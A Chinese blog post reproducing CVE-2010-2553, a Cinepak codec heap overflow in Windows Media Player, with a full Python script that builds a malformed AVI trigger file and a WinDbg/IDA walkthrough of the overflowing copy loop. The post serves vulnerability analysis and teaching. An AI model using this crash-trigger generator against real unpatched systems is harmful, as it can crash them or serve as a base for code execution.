堆溢出CVE复现分析(CVE-2010-2553)

1 实验环境

操作系统:Window xp sp3
软件 :Windows Media Player

 

2 漏洞背景

CVE 2010-2553漏洞,也称为MicrosoftWindows Cinepak 编码解码器解压缩漏洞,影响的操作系统版本有:Microsoft Windows XP SP2和SP3,WindowsVista SP1和SP2,以及Windows 7。

漏洞原因在于Cinepak 编码解码器对媒体文件解压缩时代码控制不恰当,可导致远程代码执行。如果用户打开特制的媒体文件,此漏洞可能允许执行代码。如果用户使用管理用户权限登录,成功利用此漏洞的攻击者便可完全控制受影响的系统。

 

3 实验内容

首先利用以下的Python代码生成poc.avi文件。

import sys
def main():

    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)
    avifile.close()
    print '[-] AVI file generated'

if __name__ == '__main__':
    main()

然后利用windbg中的gflag.exe开启windows media player的页堆。(进入到gflag.exe的目录下执行如下命令)

开启页堆之后,就方便调试了。接下来,首先打开windows media player软件和windbg调试软件。将windows media player附加到windbg上。

点击OK之后,程序成功在windbg中载入,调试器会显示程序正在被调试。

接下来将之前生成好的poc.avi拖入windows media player软件中会得到如下结果。

此时的程序就已经执行断下了,使用kb栈回溯查看触发异常前栈中的内容。

然后直接使用ub命令依次显示栈回溯中的iccvid+0x22cc和iccvid!DllInstanceInit+0x6279前面的汇编代码。其中在查看iccvid!DllInstanceInit+0x6279前面的汇编代码时,发现它最后调用了一个函数,可能是造成漏洞的原因。

这里需要对地址0x73b7cbee下断点,但是此时若直接下断点是不会成功的,因为该地址位于iccvid.dll模块中,而iccvid只有在解析poc.avi时才会被动态加载,若重新附加进程运行,里面是没有iccvid.dll模块的。所以首先利用WinDbg的sxe ld:ModuleName即sxe ld:iccvid命令,在程序首次加载iccvid.dll时断下,然后再对0x73b7cbee下断点即可。

所以现在先关掉当前的调试窗口,重新上述的附加操作,然后再给模块下断。

接下来查看是否断在了iccvid模块处,确定了之后就可以给地址0x73b7cbee下断点了。

然后按g开始运行,程序成功断在了指定位置。

然后按F8进入单步调试,然后一直p单步执行下去。

此时再用ida分析iccvid.dll模块,同样跳转到地址0x73b7cbee处,看到确实是一个call执行。

 

进入该函数,首先可以看到它有7个参数

然后判断第三个参数是否大于等于20h

下面可以看出,每次循环后,会将edi的地址增加0x2000,注意v32这个变量,第一次其实并没有复制,因为第一次v32为0,也就是说qmemcpy复制两次就会导致堆溢出。

可以发现,三次循环,edi的值每一次增加了2000h。而由于整个堆空间只有6000h,在拷贝三次后,发生溢出。

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值